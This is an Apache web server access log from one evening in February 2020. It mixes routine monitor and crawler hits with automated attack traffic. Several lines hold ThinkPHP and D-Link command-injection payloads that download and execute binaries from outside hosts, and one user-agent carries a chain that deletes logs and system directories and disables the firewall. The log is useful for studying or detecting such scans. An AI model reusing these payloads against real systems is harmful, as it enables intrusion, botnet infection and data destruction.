197.44.232.84 - - [23/Feb/2020:20:56:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
134.117.21.42 - - [23/Feb/2020:20:56:43 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
134.117.21.42 - - [23/Feb/2020:20:56:43 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
134.117.21.42 - - [23/Feb/2020:20:56:43 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
212.91.246.72 - - [23/Feb/2020:20:57:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:58:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.70.196.230 - - [23/Feb/2020:20:59:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
46.236.76.95 - - [23/Feb/2020:20:59:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:20:59:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:00:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:01:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:02:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:03:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:04:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:05:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:06:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:07:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:08:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:09:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.62 - - [23/Feb/2020:21:10:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:21:10:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.150.29.153 - - [23/Feb/2020:21:10:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:21:11:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:12:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:13:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.159.157.252 - - [23/Feb/2020:21:13:46 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
211.159.157.252 - - [23/Feb/2020:21:13:47 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
211.159.157.252 - - [23/Feb/2020:21:13:47 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
211.159.157.252 - - [23/Feb/2020:21:13:48 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
211.159.157.252 - - [23/Feb/2020:21:13:48 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
211.159.157.252 - - [23/Feb/2020:21:13:49 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
211.159.157.252 - - [23/Feb/2020:21:13:49 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
211.159.157.252 - - [23/Feb/2020:21:13:50 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
211.159.157.252 - - [23/Feb/2020:21:13:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [23/Feb/2020:21:14:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:15:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.193.19.199 - - [23/Feb/2020:21:15:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
119.193.19.199 - - [23/Feb/2020:21:15:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:21:16:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:17:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:18:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:19:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:20:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:21:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.224.217 - - [23/Feb/2020:21:21:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [23/Feb/2020:21:21:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [23/Feb/2020:21:21:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.135.116.228 - - [23/Feb/2020:21:21:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
211.192.224.217 - - [23/Feb/2020:21:21:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:21:22:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:23:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:24:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:25:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.33.92.57 - - [23/Feb/2020:21:26:06 +0100] "GET /shell?busybox HTTP/1.1" 400 329 "-" "Mozilla/5.0"
212.91.246.72 - - [23/Feb/2020:21:26:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.100.12.210 - - [23/Feb/2020:21:26:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
220.135.116.228 - - [23/Feb/2020:21:26:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:21:27:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:28:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:29:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:30:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:31:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.47.8.10 - - [23/Feb/2020:21:31:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:21:32:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.158.64.72 - - [23/Feb/2020:21:32:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:21:33:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [23/Feb/2020:21:33:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [23/Feb/2020:21:34:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:35:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:36:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:37:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:38:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.140.45.226 - - [23/Feb/2020:21:38:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:21:39:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.108.66.240 - - [23/Feb/2020:21:39:34 +0100] "\x16\x03\x01" 501 318 "-" "-"
212.91.246.72 - - [23/Feb/2020:21:40:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:41:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:42:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:43:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:44:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.74.65.146 - - [23/Feb/2020:21:45:20 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
34.74.65.146 - - [23/Feb/2020:21:45:20 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
212.91.246.72 - - [23/Feb/2020:21:45:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:46:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:47:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:48:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [23/Feb/2020:21:48:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [23/Feb/2020:21:49:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
97.104.96.10 - - [23/Feb/2020:21:50:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:21:50:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:51:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:52:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:53:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:54:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:55:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:56:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:21:57:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.202.68 - - [23/Feb/2020:21:58:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [23/Feb/2020:21:58:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.41 - - [23/Feb/2020:21:59:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [23/Feb/2020:21:59:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:00:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.65.210.120 - - [23/Feb/2020:22:00:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:22:01:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.8.99.234 - - [23/Feb/2020:22:01:47 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:22:02:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
76.76.243.191 - - [23/Feb/2020:22:03:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:22:03:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:04:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.88.27.34 - - [23/Feb/2020:22:04:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:22:05:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:06:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.191.52.254 - - [23/Feb/2020:22:06:56 +0100] "HEAD http://112.124.42.80:63435/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:22:07:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:08:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:09:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:10:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
173.76.38.236 - - [23/Feb/2020:22:11:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:22:11:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.206.167.195 - - [23/Feb/2020:22:11:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:22:12:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:13:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:14:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:15:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:16:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:17:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:18:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:19:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:20:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [23/Feb/2020:22:20:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [23/Feb/2020:22:20:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [23/Feb/2020:22:20:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [23/Feb/2020:22:21:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
128.14.140.150 - - [23/Feb/2020:22:21:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [23/Feb/2020:22:21:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [23/Feb/2020:22:21:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
60.73.33.73 - - [23/Feb/2020:22:21:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:22:22:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:23:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:24:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
